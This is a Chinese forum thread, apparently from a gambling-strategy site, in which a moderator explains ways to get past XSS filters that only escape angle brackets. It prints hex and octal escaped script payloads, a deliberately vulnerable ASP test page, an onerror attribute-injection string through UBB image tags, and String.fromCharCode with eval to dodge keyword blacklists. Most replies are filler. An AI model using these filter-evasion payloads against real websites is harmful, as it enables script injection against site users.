博路发

 找回密码
 立即注册
查看: 1719|回复: 29

解答会员提问的XSS使用以及转码的视频教程

[复制链接]

895

主题

1723

帖子

2605

积分

超级版主

Rank: 8Rank: 8

积分
2605
发表于 2018-8-14 11:53:05 | 显示全部楼层 |阅读模式
本帖最后由 bete68.com 于 2018-8-14 12:13 编辑

首先感谢录制本次视频教程的某小组技术人员,本次解答内容是因为论坛一个叫xiaozai的会员提问XSS如何过滤,以及http://www.bete68.com/thread-6165-1-1.html这篇文章的综合回答,虽然已经超出了论坛回答范围了,但是博路发论坛本着有问必答的态度邀请了某技术论坛里的人员进行本次视频的录制,视频教程地址在文章末尾,提醒一下这位会员,博路发是一个菠菜策略综合论坛,以后尽量别提问这种编外话题,提问了又不能不解答,好为难客服妹子吆

言归正传,这篇文章一定要好好看,然后再看视频教程
很多网站为了避免XSS的攻击,对用户的输入都采取了过滤,最常见的就是对<>转换成<以及>,经过转换以后<>虽然可在正确显示在页面上,但是已经不能构成代码语句了。这个貌似很彻底,因为一旦<>被转换掉,什么<script src=1.js></script>就会转换成“<script src=1.js></script>”,不能执行,因此,很多人认为只要用户的输入没有构成<>,就不能闭合前后的标签,其语句当然也不会有害。
但是,万事总有可能,只要有一定的条件,我们就可以构造经过编码后的语句来进行XSS。
1转义字符
首先要认识一下“\”,这个不是斜杠么。对的,斜杠在JAVASCRIPT有着特殊的用途,它是转义的符号。例如,我们把我们XSS语句转换成16进制,这里是<script>alert(‘poruin’)</script>,我用在CHA88那里淘过来的脚本工具来转换,
zhuanyi.png
结果如下
\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x70\x6F\x72\x75\x69\x6E\x27\x29\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E
这些就是经过编码后的字符,因为前面的斜杠缘故,所以后面的这些字符在JAVASCRIPT中都会被还原。
我们再来看一下测试用的index.asp
<form name=form>
<input type=text name=text1>
<input type=submit name=submit>
</form>
<%
if request("text1")<> "" then
a=replace(replace(request("text1"),"<","<"),">",">")
end if
%>
<script>
a="<%=a%>"
document.write(a)
</script>
很简单的内容,接受用户的数据后过滤<>,再用JAVASCRIPT显示出来,直接输入XSS的测试语句看看,被转换掉了吧。再来输入经过16进制转换后的字符,这些字符都可以轻松的逃过过滤,完整进入代码中,经过JAVASCRIPT还原之后,正确解释出来。
而不但是十六进制可以,八进制同样奏效,转换后代码如下:
\74\163\143\162\151\160\164\76\141\154\145\162\164\50\47\160\157\162\165\151\156\47\51\74\57\163\143\162\151\160\164\76
二.UBB标签
UBB标签是目前广泛运用到论坛,留言簿,以及其他网站系统的一种编码标签,用户在中间输入地址后即可,在发表的时候系统会自动改成<img src=”url”></img>。这个URL就是用户输入的图片地址,XSS攻击中,可以利用这个特点来达到无需用户输入<>就能执行由用户所输入的代码,我们只要在输入网址的地方输入:
x"/**/onerror="alert('poruin')
那么经过转换后就变成了
<img src="x"/**/onerror="alert('poruin')"></img>
在JS中空格可以用/**/转换
三.JS还原函数
JS中的编码还原函数最常用的就是String.fromCharCode了,这个函数用于ascii码的还原,一般来说,这个函数都要配合EVAL来使用才有效果。
在跨站中,String.fromCharCode主要是使到一些已经被列入黑名单的关键字或语句安全通过检测,把关键字或语句转换成为ASCII码,然后再用String.fromCharCode还原,因为大多数的过滤系统都不会把String.fromCharCode加以过滤,例如关键字alert被过滤掉,那就可以这么利用:
<img src="x"/**/onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,112,111,114,117,105,110,39,41))"></img>
执行效果如上图一样,没有关键字同样执行想要执行的代码。


本次视频教程链接,回复可见:
游客,如果您要查看本帖隐藏内容请回复




上一篇:xss如果过滤符号?
下一篇:初到平台 新手报到 问担保可行吗
回复

使用道具 举报

0

主题

15

帖子

30

积分

新手上路

Rank: 1

积分
30
发表于 2018-8-14 11:55:39 | 显示全部楼层
速度,火钳刘明!

回复 支持 反对

使用道具 举报

0

主题

35

帖子

37

积分

新手上路

Rank: 1

积分
37
发表于 2018-8-14 18:05:20 | 显示全部楼层
这是做什么用的

回复 支持 反对

使用道具 举报

0

主题

10

帖子

20

积分

新手上路

Rank: 1

积分
20
发表于 2018-8-14 20:45:53 | 显示全部楼层
有空一起交流一下

回复 支持 反对

使用道具 举报

0

主题

12

帖子

24

积分

新手上路

Rank: 1

积分
24
发表于 2018-8-16 17:10:28 | 显示全部楼层
看完帖子,洗洗睡了,论坛的朋友们明天见

回复 支持 反对

使用道具 举报

0

主题

11

帖子

22

积分

新手上路

Rank: 1

积分
22
发表于 2018-8-16 19:10:20 来自手机 | 显示全部楼层
时间过的真快,一不留神我也抢了回沙发!

回复 支持 反对

使用道具 举报

0

主题

15

帖子

30

积分

新手上路

Rank: 1

积分
30
发表于 2018-8-17 07:29:52 来自手机 | 显示全部楼层
我有一个问题想请版主解答,你们博路发为什么会员问的任何问题你们都能找到专业人士来解答呢?好霸气的感觉

回复 支持 反对

使用道具 举报

0

主题

23

帖子

46

积分

新手上路

Rank: 1

积分
46
发表于 2018-8-17 10:48:18 | 显示全部楼层
只相信博路发论坛

回复 支持 反对

使用道具 举报

0

主题

9

帖子

18

积分

新手上路

Rank: 1

积分
18
发表于 2018-8-17 13:59:16 | 显示全部楼层
很喜欢这个网站的文章。

回复 支持 反对

使用道具 举报

0

主题

13

帖子

26

积分

新手上路

Rank: 1

积分
26
发表于 2018-8-17 15:31:55 | 显示全部楼层
报告!别开枪,我就是路过来看看的。。。

回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|博路发 ( 菲律宾ICP备73292958号-1

GMT+8, 2019-10-14 11:03 , Processed in 0.184510 second(s), 31 queries .

Powered by 博路发Copyright @ 2010-2015

快速回复 返回顶部 返回列表